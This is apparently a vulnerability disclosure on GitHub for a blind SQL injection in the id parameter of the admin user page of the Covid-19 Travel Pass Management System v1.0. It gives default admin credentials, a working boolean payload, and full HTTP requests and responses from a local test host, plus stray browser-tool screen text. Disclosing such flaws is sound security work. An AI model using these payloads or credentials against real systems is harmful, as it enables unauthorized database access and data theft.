

main

...

bug_report / vendors / oretnom23 / covid-19-travel-pass-management-system / SQLi-6.md



debug601 Create SQLi-6.md

History

1 contributor

39 lines (25 sloc) | 1.52 KB

...

Covid-19 Travel Pass Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html>

Vulnerability File: /ctpms/admin/?page=user/manage_user&id=

Vulnerability location: /ctpms/admin/?page=user/manage_user&id=id

[+] Payload: /ctpms/admin/?

page=user/manage_user&id=3%27%20and%20length(database())%20=8--+ // Leak place
---> id

Current database name: ctpms_db,length is 8

```
GET /ctpms/admin/?page=user/manage_user&id=3%27%20and%20length(database())%20=8--+ H
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6r1t8ikfi
Connection: close

When length (database ()) = 7, Content-Length: 25990

```
GET /ctpm/admin/?page=user/manage_user&id=3%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6r1t8ikfi
Connection: close

HTTP/1.1 200 OK
Date: Fri, 06 May 2022 07:03:27 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25990

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
<meta charset="utf-8">
```

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION

Load URL Split URL Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert r

C19 Travel Pass - PHP Covid-19 Travel Pass Management System - Admin

Warning: foreach() argument must be of type array/object, null given in C:\xampp\htdocs\

First Name

Middle Name

Last Name

Dashboard

Main

- List of Individuals
- List of Applications

Maintenance

- User List
- Settings

When length (database ()) = 8, Content-Length: 25957

```
GET /ctpm/admin/?page=user/manage_user&id=3%27%20and%20length(database())%20=8--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6r1t8ikfi
Connection: close

HTTP/1.1 200 OK
Date: Fri, 06 May 2022 07:02:59 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25957

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
<meta charset="utf-8">
```

INI

SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCR*

Load URL

Split URL

Execute

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

C19 Travel Pass - PHP

Dashboard

Main

List of Individuals

List of Applications

Maintenance

User List

Settings

Covid-19 Travel Pass Management System - Admin

First Name

John

Middle Name

Last Name

Smith

Username

jsmith